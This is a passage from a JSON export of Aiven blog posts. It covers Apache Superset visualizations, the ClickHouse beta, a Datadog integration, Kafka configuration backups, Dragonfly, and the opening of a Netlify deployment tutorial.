configuration:\n\n* `country` for the **ROWS**\n* `survey_yr` for the **COLUMNS**\n* For the **METRIC** select a **SIMPLE** calculation based on the `overall_rank` column with `AVG` as aggregated function.\n* In the **FILTERS** section, add a **SIMPLE** filter based on the `overall_rank` metrics being `\u003c=` to `10`.\n* At the bottom, set the **AGGREGATION FUNCTION** as `Average`, this will drive the overall row/column aggregation in the pivot table.\n\nCheck out the **Query** parameters overview:\n\n![example of query panel with settings](//cdn.sanity.io/images/sczeoy4w/production/6c8ca5f069ea6f6a290621992583fef104b7c94d-317x623.png \"Example of query panel with settings\")\n\nNow, in the **CUSTOMIZE** tab set the following options:\n\n* For **PIVOT TABLE TYPE** select `Table Heatmap`\n* For the **ROWS SORT BY** select `value ascending`\n* Deselect the **SHOW COLS TOTALS**\n* Name the visualization `Country ranking heatmap`\n\nWe're ready to press the **RUN** button above **CUSTOMIZE**.\n\nAaaaand, we end up with a lovely red shaded heatmap showing the countries that made the top 10 at least once in the previous 5 years, ordered by their overall average position.\n\n![Pivot table with heatmap containing the country overall ranking](//cdn.sanity.io/images/sczeoy4w/production/19688dae33d41052dc42c44430fe743d2e5bd74c-381x438.png \"Pivot table with heatmap containing the country overall ranking\")\n\nTo see where these countries are around the world, the same data could be used to create a map. Try the following settings:\n\n* **World Map** as visualization type\n* `country` as **COUNTRY COLUMN**\n* `Full Name` as **COUNTRY FIELD TYPE**\n* Use a **SIMPLE** calculation based on the `score` column with `AVG` aggregation for the **METRIC FOR COLOR** parameter\n* Choose the **COUNTRY COLOR SCHEME**, the screenshot shows `red/yellow/blue` but the choice is yours. Go wild!\n\nThe resulting map clearly indicates that a lot of work needs to be done to raise happiness levels in the Southern Hemisphere.\n\n![picture of the world heatmap](//cdn.sanity.io/images/sczeoy4w/production/d4da9df6310cad87bf2cbbae94fdb07bcc08a1dd-979x397.png \"Picture of the world heatmap\")\n\n## Add calculated fields in the dataset\n\nSometimes the source dataset doesn't contain all the required fields. This is the case in our example too, with the `survey_yr` field containing only the last two digits of the year (ie. `18`, `19`), which means it won't be recognized by Apache Superset as a timestamp, stopping us from using any trend visualization.\n\nFear not! Apache Superset allows us to change the shape of our dataset, without any modification to the original table, by adding calculated columns.\n\n1. In the Apache Superset UI, switch to the **Datasets** panel.\n2. Click the **Edit** pencil icon under the **Action** section of the **happiness** dataset.\n3. Open the **CALCULATED COLUMNS** tab and create a new item, with the following settings:\n       * `2000+survey_yr` as **SQL EXPRESSION**\n       * **LABEL** set to `Year`\n       * `DATETIME` as **DATA TYPE**\n       * `%Y` as **DATETIME FORMAT**\n       * **Is temporal** checkbox selected.\n\nNow the `Year` column is available, enabling us to create trend visualizations like a linechart of the top 5 positions over time.\n\n![Top 5 trendline](//cdn.sanity.io/images/sczeoy4w/production/223c57e29a9416a043e0fe7b8826f5441ead1f16-1205x389.png \"Top 5 trendline\")\n\nChallenge yourself, and try creating this chart yourself as an Apache Superset.\n\nAs you'll see, Finland is a pretty happy place - and we think so too!\n\n## Wrapping up\n\nA dataset is only useful when stored properly, and made available for queries. It becomes meaningful when insights are discovered and communicated across the company. The combination of PostgreSQL and Apache Superset offers a best-in-class solution for data storage, discovery and visualization, enabling companies to be effective and data-driven.\n\nSome more info:\n* [Aiven for PostgreSQL](https://aiven.io/postgresql): to get your managed PostgreSQL instance\n* [Apache Superset Documentation](https://superset.apache.org/docs/intro): to browse the configuration details\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-04T00:00:00.000Z","seo":{"metaDescription":"Find out how to use Apache Superset to create data visualizations from a PostgreSQL table in an Aiven environment - and use it to drive your business decisions.","metaImage":{"alt":"","asset":{"_ref":"image-0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844-png","_type":"reference"}},"metaTitle":"Get started with Apache Superset and PostgreSQL®"},"slug":{"_type":"slug","current":"/blog/get-started-with-apache-superset-and-postgresql"},"subtitle":"Find out how to use Apache Superset to create data visualizations from a PostgreSQL table in an Aiven environment - and use it to drive your business decisions.","title":"Get started with Apache Superset and PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2022-09-17T21:00:03Z","_id":"2MQWlXzjfm41qtZ1cR2lZW","_rev":"VeNKqGNmt13PzvGhqsSIuO","_type":"post","_updatedAt":"2024-01-29T15:40:46Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"**Update: [Aiven for ClickHouse is now GA!](/blog/aiven-for-clickhouse-now-generally-available)**\n\n## ClickHouse® is built for speed\nClickHouse® is a fast, open-source cloud data warehouse that’s fully open source. It allows you to generate analytical data reports in real time using advanced SQL queries. ClickHouse is built to process hundreds of millions of rows and tens of gigabytes of data per server per second. ClickHouse has already been adopted by leading companies like Uber, Spotify and Deutsche Bank.\n\nClickHouse supports industry-leading query performance, while significantly reducing storage requirements through the innovative use of columnar storage and compression. According to the ClickHouse benchmark, it is 6-7 times faster than a proprietary cloud data warehouse like Snowflake and Redshift.\n\nAiven for ClickHouse extends the powerful Aiven service portfolio to the cloud data warehousing market. The fully managed service makes it a breeze to deploy a new production-grade, high-performance data warehouse and enjoy the advanced capabilities familiar from other Aiven services - effortless scaling, easy database forking and cloud/region migration without downtime. \n\nIt also has a built-in integrations for our other products - such as Aiven for Apache Kafka®, Aiven for PostgreSQL®, and Aiven for Grafana® - making it easy for you to create analytics pipelines using both streaming data sources and data in your operational databases, and to visualize the analytics results. Stay tuned for the new features!\n## What is it used for?\nClickHouse is used for analyzing huge amounts of IoT telemetry, customer behavior, infrastructure metrics and logs, clickstream data and more, with no compromises on scale and performance. \n\nBy offloading the analytics workload from operational databases and by aggregating data from various data sources, ClickHouse ensures a full 360° analytics view that doesn’t compromise the performance of your operational applications. \n\nTo find out more about ClickHouse, check out our [What is ClickHouse article](https://aiven.io/blog/what-is-clickhouse).\n## What does “beta” mean?\nYou can use Aiven for ClickHouse beta for development work and for testing production-level workloads, but not yet for full production use. This is the perfect time to kick off your ClickHouse database and get a head start. You can develop your online analytics applications, send us your feedback as you go, and get precisely the features and capabilities that you need implemented in it. We even give you extended credits to try it out - you will receive $400 credit when you create an Aiven for ClickHouse Beta service. This offer is valid for both our existing customers and anyone new to Aiven services.\n\nA word of caution, though: you can use our free Basic level support with the beta service, but higher level support packages are currently not available and our standard SLA terms do not apply.\n\n## How to get started?\nIf you’re a new customer, first create an Aiven trial account. \n1. [Log in to the Aiven Console](https://console.aiven.io/signup).\n2. Create a new ClickHouse service.\n3. Load data to your newly created service.\n4. Use the built-in query editor to develop and test your analytics queries.\n5. Enjoy!\n\nFor more information, visit our [Aiven for ClickHouse beta product page](https://aiven.io/docs/products/clickhouse.html) and check the [product documentation here](https://aiven.io/docs/products/clickhouse/ \"Aiven Developer Portal\").\n\n## Wrapping up\nAiven for ClickHouse beta is here for your delectation. If you have any feedback or questions, hit us up on Twitter, or send e-mail to [beta@aiven.io](mailto:beta@aiven.io).\n\n--\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"4Ys3OINPj3glC5uOMr5dqF","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-14T00:00:00.000Z","related":[{"_key":"d2c185ae88e0","_ref":"5b18fb4c-f744-499c-befd-9e72479f83fc","_type":"reference"},{"_key":"0d4a223f0b6d","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"4cf39781463b","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We’re excited to announce that a Beta version of our Aiven for ClickHouse® service is now available for anyone to try. Find out how to get your data on it!","metaImage":{"alt":"","asset":{"_ref":"image-4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844-png","_type":"reference"}},"metaTitle":"Aiven introduces open source ClickHouse® Beta for cloud data"},"slug":{"_type":"slug","current":"/blog/aiven-for-clickhouse-beta-now-available"},"subtitle":"We’re excited to announce that Aiven for ClickHouse® is now available for anyone to try. Find out how to get your data on it!","title":"Aiven enters cloud data warehousing marketing with open source ClickHouse® Beta"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2V7WelNGbdii6kTzt0mhYP","_rev":"ZgPiUE9lJ1tcRKuFna6NWr","_type":"post","_updatedAt":"2024-07-11T13:03:26Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"A lot of our customers also happen to be [Datadog](https://www.datadoghq.com/) customers and as one might expect, we’ve received a lot of requests to be able to send Aiven service metrics to their Datadog instances for monitoring.\n\nAlthough we support [sending Aiven service metrics to an Aiven for InfluxDB® and Grafana](https://aiven.io/developer/monitor-aiven-influxdb-grafana-dashboards) instance that provides similar functionality to Datadog, it is understandable that our customers would want to unify their service monitoring.\n\nThat’s why we’ve launched our Datadog service integration, making it possible to send metrics from your [Aiven for Apache Kafka®](https://aiven.io/kafka), [Aiven for PostgreSQL®](https://aiven.io/postgresql), [Aiven for OpenSearch®](https://aiven.io/opensearch) and [Aiven for Caching](https://aiven.io/caching) services to your Datadog account.\n\n## Unified monitoring and more\n\nBy unifying service monitoring, the Datadog integration makes it much easier to correlate events between the events of your company’s and Aiven services, as the data is now available under one roof.\n\nAt an Aiven service level, the Datadog agent provides unparalleled real-time insights. For example, you can drill down into the resource load of your service VMs and monitor CPU, disk, and network loads.\n\nCoupled with the ability to set customized alerting limits, you can optimize the use of your Aiven services to a completely new degree. It’s easy to understand why the service is named after man’s best friend.\n\n## Pricing and getting started\n\nAt this point you may be thinking, “Sounds great, but __how much will Aiven charge me?__” You’ll be happy to know that Aiven won’t charge anything extra for sending your service metrics to your Datadog account.\n\nThat said, please remember that Datadog will still charge you for the integration's metrics based on their [pricing schedule](https://www.datadoghq.com/pricing/) and their service billing will still need to be handled between you and them.\n\nThe particulars out of the way, let’s get started. If you’re running an updated service, start immediately by [following this two-step Datadog integration guide](https://aiven.io/docs/integrations/datadog.html). If not, just update your service before starting.\n\n## Stay active and give us feedback\n\nAs always if you notice any issues or think of some feature improvement ideas please continue sending them our way. We rely on our community’s active engagement.\n\nBy the way, the same goes for the support for additional third-party services. Datadog is a function of your contributions; so, keep the feedback coming on what service integrations you’d like to see in the future.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325-png","_type":"reference"}},"publishedAt":"2018-04-20T00:00:00.000Z","related":[{"_key":"472d1392d30a","_ref":"9193ac82-e768-43d3-930c-4d99ad8bcf81","_type":"reference"},{"_key":"90583a59f4e0","_ref":"6DVg3fOD4cOwMcfEr9LlNF","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven services can now be integrated with the monitoring and analytics platform, Datadog. Find out how to get started.","metaImage":{"alt":"","asset":{"_ref":"image-99a4baf6d43b792a87c1fa14ca35b45126ed195a-650x325-png","_type":"reference"}},"metaTitle":"Integrate your Datadog monitoring and analytics with Aiven"},"slug":{"_type":"slug","current":"/blog/datadog-meets-aiven"},"subtitle":"Aiven can now be integrated with the monitoring and analytics platform, Datadog. Read more to find out which Aiven services can be integrated.","title":"Datadog meets Aiven"}
{"__i18n_lang":"en","_createdAt":"2023-07-21T08:16:10Z","_id":"2ab8d211-0ea4-4e1c-9cb8-0d69dae7f026","_rev":"E2EqFgH2t2FE0P1F1sZ3bJ","_type":"post","_updatedAt":"2024-02-27T15:28:49Z","authors":[{"_key":"8e319bbb1aae","_ref":"325fa388-30e4-423e-a97b-ea5de159504a","_type":"reference"}],"body":"An outage or a planned shutdown could reset the state of your Apache Kafka cluster: Topics definition and configuration, User definitions and ACLs, as well as server configurations, need to be done from scratch. With the new cluster configuration backup feature, available in [Aiven for Apache Kafka](https://aiven.io/kafka)®, you can now restore all the above settings with a click, allowing you to recover from unexpected or planned shutdowns faster and safer.\n\n## What are Apache Kafka configuration backups?\n\nApache Kafka® is extremely resilient and provides flexible ways to distribute, replicate and copy data and configurations across multiple nodes in a cluster. All Aiven for Apache Kafka plans, even our startup ones, come with a 3-node distributed architecture. Data and configurations are automatically distributed across three different brokers for high availability. In the event of an error in one broker, a copy of the data and configurations already exist in another broker.\n\nIn the case of an accidental or planned cluster restart, restoring the Apache Kafka cluster requires restoring two elements: data and configuration parameters. While Apache Kafka data backup and restore is still an open topic in the community, having an option to quickly restore metadata means that you no longer need to worry about losing the setup of your cluster.\n\nLosing your Kafka cluster configuration would automatically mean reconfiguring the cluster itself and recreating the topics, configurations, and permissions from scratch. The process is at best time-consuming when configuration details are stored in external scripts. In worse scenarios, it represents a configuration nightmare, with all the stakeholders needing to redo manual work in the platform. In any case, the turnaround time to get your Kafka cluster up and running again is longer than what you would have originally planned. And then, of course, manual work can introduce errors and misconfigurations.\n\nThis is where a feature that backs up and allows you to restore your Apache Kafka cluster configuration comes in really handy.\n\nAnd guess what: this is what we’ve just added to all our Apache Kafka clusters.\n\n\n## How do the configuration backups work in Aiven for Apache Kafka?\n\nKafka cluster configuration backup in Aiven’s fully managed Apache Kafka service automatically restores the configuration of your Apache Kafka clusters to their previous state after a power off/on cycle or in the unlikely scenario an incident that has caused the cluster to fail. Aiven for Apache Kafka comes with a 99,99% uptime SLA, so the Kafka services are being taken care of by our support and SRE teams around the clock. But for more disastrous scenarios, like the crash of an entire cloud region, or an accidental cluster shutdown, the configuration backup and restore capability added to Aiven for Apache kafka can be helpful to quickly restore the previous status.\n\nIn more detail, configuration backups cover the following components from the Kafka ecosystem:\n\n- Apache Kafka topics and related configuration parameters (such as retention time, and number of partitions)\n- Apache Kafka users and ACLs\n- Everything in the Schema Registry: \n  * Schema definitions\n  * Schema IDs\n  * Configurations (such as compatibility level)\n  * Subjects and subject versions\n- Apache Kafka Connect configurations\n\n\n## Getting started with cluster configuration backups\n\nKafka cluster configuration backups are already available for new services and will be automatically enabled after the regular service maintenance cycle for existing ones. For more information on what’s included in the configuration backups, you can check the relevant [documentation](https://aiven.io/docs/products/kafka/concepts/configuration-backup).\n\n## Get started today\n\nAfter a cluster failure, the Apache Kafka configuration backup feature reduces the time required for bringing your Kafka cluster back online to a fraction. The result is happy Kafka users and a happier Kafka maintenance crew!\n\nNot using Aiven services yet? Sign up now for your [free trial](https://console.aiven.io/signup) today or [get in touch](https://aiven.io/contact) with the Aiven team!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"bb64fe071cc3","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"685e0f8c54bc","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Kafka Config Backup, Kafka Configs, Apache Kafka, Aiven for Apache Kafka, Aiven, managed service Kafka, Kafka cluster configurations, Kafka configurations backup","asset":{"_ref":"image-bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628-png","_type":"reference"}},"publishedAt":"2023-07-25T08:14:00.000Z","related":[{"_key":"b9de12782895","_ref":"48489b60-d438-4bb5-abd0-9950d2078514","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Cluster configuration backups are available in Aiven for Apache Kafka! Find out how it can save time for your team after a planned cluster shutdown.","metaImage":{"_type":"mainImage","alt":"Kafka Config Backup, Kafka Configs, Apache Kafka, Aiven for Apache Kafka, Aiven, managed service Kafka, Kafka cluster configurations, Kafka configurations backup","asset":{"_ref":"image-bb6ed0850809c89cf9d03812933c0f2c89b756fb-1200x628-png","_type":"reference"}},"metaTitle":"Announcing Aiven for Apache Kafka® configuration backups"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-apache-kafka-cluster-configuration-backup"},"subtitle":"Cluster configuration backups are available on Aiven for Apache Kafka! Find out how it can save time for your team while restoring your cluster configuration.","title":"Announcing Aiven for Apache Kafka® cluster configuration backup"}
{"__i18n_lang":"en","_createdAt":"2024-04-11T06:46:08Z","_id":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_rev":"sx3m64XnoJyDsAwkmJ9Nw8","_type":"post","_updatedAt":"2024-07-05T08:39:49Z","authors":[{"_key":"9ce36dedce01","_ref":"bc1fa92d-fde5-40fd-97e8-33a4f5012885","_type":"reference"}],"body":"Dragonfly is a performant and memory-efficient drop-in replacement for Redis®, utilizing a modern multi-threaded shared-nothing architecture. That’s it! In essence, we have already captured the ambitious mission of Dragonfly. Yet, to fully appreciate the significance, let’s unpack this description and examine the benefits and key features in detail.\n\n## Benefits of Dragonfly\n\n### 1. Redis \u0026 Memcached Compatibility\n\nRedis is one of the most popular in-memory data stores used in countless web server applications. In order to provide a seamless developer experience, Dragonfly is designed to be fully compatible with Redis in terms of the wire protocol. At the time of writing, Dragonfly supports 240+ of the most commonly used Redis commands. By using the same SDKs and tools you are already familiar with, switching to Dragonfly would not require changing existing code, except for the client connection credentials. As an added bonus, Dragonfly supports running in Memcached mode as well, which also provides full compatibility with the Memcached wire protocol and APIs.\n\n### 2. Extreme Performance \u0026 Vertical Scalability\n\nLeveraging a multi-threaded, shared-nothing architecture, Dragonfly offers unparalleled performance enhancements over traditional in-memory data stores. Unlike Redis, which mostly employs a single-threaded design, Dragonfly’s architecture is optimized to fully utilize modern multi-core servers, delivering significantly higher throughput. Based on our [recent benchmarks](https://www.dragonflydb.io/blog/2024-new-year-new-number), Dragonfly is able to achieve 6.43 million operations per second when running on a single Amazon [c7gn.16xlarge](https://instances.vantage.sh/aws/ec2/c7gn.16xlarge) instance, equipped with the Graviton 3E processors. Below, we are showing the maximum operations (GET and SET commands) per second when running Dragonfly with different numbers of threads, restricting P99.9 latencies to being under 10 ms.\n\n![Max Operations Per Second vs. Dragonfly Threads](https://cdn.sanity.io/images/sczeoy4w/production/954ca2e256317ded93acb830c4d4828de86efac1-1348x709.png) *Max Opeations Per Second vs. Dragonfly Threads*\n\n\n### 3. Memory Efficiency\n\nWhile many of the existing Redis data structures are reused for their efficiency and robustness, Dragonfly continues the innovation and introduces advanced modern data structures that optimize memory usage, ensuring more efficient data storage and management. One example is the B+ tree based Sorted-Set implementation in Dragonfly, which observes up to 40% memory reduction for Sorted-Set data entries. Furthermore, Dragonfly also has a brand new algorithm for snapshotting, which ensures stable memory usage throughout the whole snapshotting process. These advancements represent Dragonfly's commitment to pushing the limits of being the most advanced in-memory data store.\n\n## Dragonfly Key Features\n\nOffering the same Redis or Memcached developer experience, Dragonfly aims to revolutionize the in-memory data store landscape with a superior data and operational management experience for much more demanding workloads.\n\n### 1. Data Types \u0026 Search Capabilities\n\nDragonfly works with both basic and complex Redis data types, including String, List, Set, Sorted Set, Hash, Pub/Sub Messaging, Stream, and Geospatial Index. Additionally, Dragonfly natively supports the popular JSON data type. It also offers powerful search features, enabling both faceted search and vector search.\n\n### 2. Single-Instance \u0026 Multi-Node Cluster\n\nAs mentioned above, Dragonfly is able to fully utilize powerful multi-core servers. With easy vertical scalability, Dragonfly is comfortable handling up to 1TB of in-memory data. While we believe this should cover a vast majority of the workloads, multi-node cluster mode is also supported with dynamic horizontal scalability under active development.\n\n![ Dragonfly Single Instance Can Handle Much Larger Workloads](https://cdn.sanity.io/images/sczeoy4w/production/40147149253fd05a42fddc83cedfa6d2c7075392-1001x715.png)*Dragonfly Single Instance Can Handle Much Larger Workloads*\n\n\n### 3. Efficient, Stable, and Cloud-Native Snapshotting\n\nSnapshotting in Dragonfly is based on versioning and asynchronous serialization. Unlike the conventional approach, which is based on [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write) memory management, Dragonfly doesn't spike memory usage during snapshotting on write-heavy instances. In the meantime, snapshots can be directly saved to cloud-native storage systems such as Amazon S3 or via Kubernetes persistent volumes.\n\n### 4. High-Availability\n\nTo ensure reliability and seamless failover, high-availability through an eventually consistent primary-replica model is also supported. This can be achieved by using the [REPLICAOF](https://www.dragonflydb.io/docs/command-reference/server-management/replicaof) command, [Redis Sentinel](https://redis.io/docs/management/sentinel/), or the native [Dragonfly Kubernetes operator](https://www.dragonflydb.io/docs/managing-dragonfly/operator/installation).\n\n## Use Cases\n\n### Caching \n\nSimilar to Redis, Dragonfly serves as an efficient and dependable centralized caching solution for server-side applications, enhancing performance by reducing the need to frequently access slower, disk-based databases.\n\nSimilar to Redis, Dragonfly serves as an efficient and dependable centralized caching solution for server-side applications, enhancing performance by reducing the need to frequently access slower, disk-based databases.\n\n### Cardinality Measurement \u0026 Real-Time Statistics\n\nAlthough in-memory data stores typically struggle with complex analytical queries, Dragonfly is equipped with specific data types (such as Bitmap, HyperLogLog, and Set) designed for measuring unique counts and gathering statistical information. These data types are perfect for tracking unique page visits or managing real-time leaderboards.\n\n### Search\n\nAs highlighted earlier, Dragonfly excels at providing faceted search and vector search right out of the box, making it ideal for creating advanced search functionalities within applications.\n\n### Real-Time Messaging \u0026 Background Job Processing\n\nDragonfly not only facilitates efficient real-time messaging, perfect for applications needing instant data updates or chat functionalities, but it's also adept at background job processing. We are actively integrating and optimizing frameworks in this area, including BullMQ and Sidekiq, to ensure seamless operation and high performance for tasks scheduled to run in the background.\n\n## Aiven for Dragonfly is Available Now\n\nAs of March 20th, 2024, Aiven, the open-source cloud data platform company, [announced the general availability of Aiven for Dragonfly®](https://aiven.io/press/general-availability-of-aiven-for-dragonfly). This service brings all the powerful features of Dragonfly to your cloud, offering a scalable and fully managed solution.\n\n::banner[Explore and sign up for Aiven for Dragonfly today, and take full advantage of the solid functionalities that meet your business needs.]{ctaText=\"Learn more\" ctaLink=\"https://aiven.io/dragonfly\" title=\"Aiven for Dragonfly\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/49b048e58588a4a7acbe41dcf92c84379800936f-56x56.svg?w=300\" theme=\"dark\"}\n\n## FAQ\n\n### Is Dragonfly Compatible with Redis?\n\nYes, Dragonfly is compatible with Redis® in terms of the wire protocol, both RESP2 and RESP3, as documented in the [specification](https://redis.io/docs/reference/protocol-spec/). Existing Redis clients, SDKs, and GUI desktop managers can directly connect to Dragonfly. As of April 2024, Dragonfly supports [more than 240 Redis commands](https://www.dragonflydb.io/docs/command-reference/compatibility). In short, if Dragonfly supports the Redis commands you use, then your existing Redis code should work with Dragonfly out of the box.\n\n### Is Dragonfly open-source?\n\nDragonfly is a community-driven, source-available project hosted on [GitHub](https://github.com/dragonflydb/dragonfly). Dragonfly source code is available under the [Dragonfly Business Source License (BSL)](https://github.com/dragonflydb/dragonfly/blob/main/LICENSE.md). In short, developers are free to use Dragonfly for any use case other than offering a hosted in-memory data store. The license states: You may make use of Dragonfly: (i) as part of your own product or service, provided it is not an in-memory data store product or service; and (ii) provided that you do not use, provide, distribute, or make available the licensed work as a service.\n\nAiven for Dragonfly is a hosted in-memory data store service, which means that Dragonfly is licensed to Aiven under a different license based on collaboration and mutual agreement.\n\n### What is an in-memory database?\n\nAn in-memory database (or data store) is a type of database that primarily stores its data directly in the main memory (RAM) of a computer rather than on disk-based storage. This approach allows for faster data retrieval and processing compared to disk-based databases because accessing data in RAM is significantly faster than reading data from a disk. In-memory databases are normally used as a caching layer in a backend system, but they can handle other use cases as well. They are well-suited to applications where performance and low latency are critical. Some in-memory databases also provide on-disk storage options for backup and fast recovery purposes. Memcached, Redis, and Dragonfly are examples of in-memory databases.\n\n### What is a NoSQL database?\n\nA NoSQL database is a type of database that provides a mechanism for storage and retrieval of data that is modeled in a way other than the tabular relations used in relational databases. Unlike traditional relational databases that use tables, rows, and columns to store data, NoSQL databases can store structured, semi-structured, or unstructured data, making them more flexible in terms of the types of data they can handle. As suggested by the name, NoSQL databases often do not expose SQL as the querying and data manipulation interface to developers. We can further categorize NoSQL databases into key-value stores, document databases, wide-column databases, graph databases, and other specialized data stores. Under this categorization, Dragonfly can be primarily considered a key-value and document store, with additional real-time, statistics, and search capabilities.\n","categories":[{"_key":"af164b6ae7d1","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"5f83a2428ec8","_ref":"ae3ed150-fa32-4d01-b160-f127f1ea16cd","_type":"reference"},{"_key":"68a3832946bf","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"26935d6ee6ef","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308-png","_type":"reference"}},"publishedAt":"2024-04-11T06:17:13.093Z","related":[{"_key":"7c86d451ed73","_ref":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover the power of Dragonfly: Scalability, resilience, and real-time messaging. Uncover the benefits of this cutting-edge in-memory data store solution now!\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308-png","_type":"reference"}},"metaTitle":"Dragonfly: The ultra-performant in-memory database | Aiven"},"slug":{"_type":"slug","current":"/blog/what-is-dragonfly"},"subtitle":"Discover the power of Dragonfly: Scalability, resilience, and real-time messaging. Uncover the benefits of this cutting-edge in-memory data store solution now!\n","title":"What is Dragonfly?"}
{"__i18n_lang":"en","_createdAt":"2023-09-06T11:37:55Z","_id":"2df872d8-b37b-45d1-bae5-5c8fe08dece8","_rev":"h4ancfFTuSnQNBSq3JGpWe","_type":"post","_updatedAt":"2024-11-19T11:33:28Z","authors":[{"_key":"45b103920c4a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Meet Alex, a talented front-end developer, skillful at building efficient and elegant applications using JavaScript, API and Markup (JAM) stack. Even though she's really good at front-end development, there's still one area that she finds puzzling: making the application communicate to a production-grade database and move the code from her local machine to the real-world, live environment.\n\nThen, she heard about [Netlify](https://netlify.com) and Aiven. Netlify is a platform known for its ability to host and deploy JAMstack applications with ease and Aiven is a trusted open-source data platform that lets Alex create reliable and enterprise-ready data services like [MySQL](https://aiven.io/mysql) and [Redis®*](https://aiven.io/caching).\n\nIn this tutorial, we accompany Alex on her journey from being a developer with little knowledge about production-grade databases and deployment, all the way to mastering the process of deploying a robust, secure, and scalable Next.js applications on Netlify, integrated seamlessly with MySQL and Redis.\n\n## But... how does this work?\n\nA picture is worth a thousand words. Let's looks at the following architecture diagram:\n\n![Architectural diagram for a Netlify and Aiven deployment. The left hand side shows the services in a developer's local environment, with MySQl and Redis running in local containers for testing. The developer then pushes those changes to GitHub, and on the right hand side there are two boxes describing what happens in Netlify and what happens in Aiven. The app is deployed to Netlify, which handles security, scalability and robustness for the front-end. The Redis and MySQL databases are deployed using Aiven and the app communicates with Aiven over a secure connection.](https://cdn.sanity.io/images/sczeoy4w/production/55b6843cf15cec1887bfefe7022570c457ee1bc4-6114x2283.png)\n\nThis architecture diagram splits the application's lifecycle into two distinct sections: the development environment and the production environment.\n\nOn the left-hand side, we have the development environment where our protagonist, Alex, spends most of her time. Here, three critical elements exist:\n\n1. A web browser pointing to localhost:8080, which allows Alex to interact with and observe the behavior of her application in real-time.\n\n2. A set of local source code files, where Alex crafts the application, line by line.\n\n3. A Docker image for running the databases locally, enabling Alex to simulate a more realistic, production-like 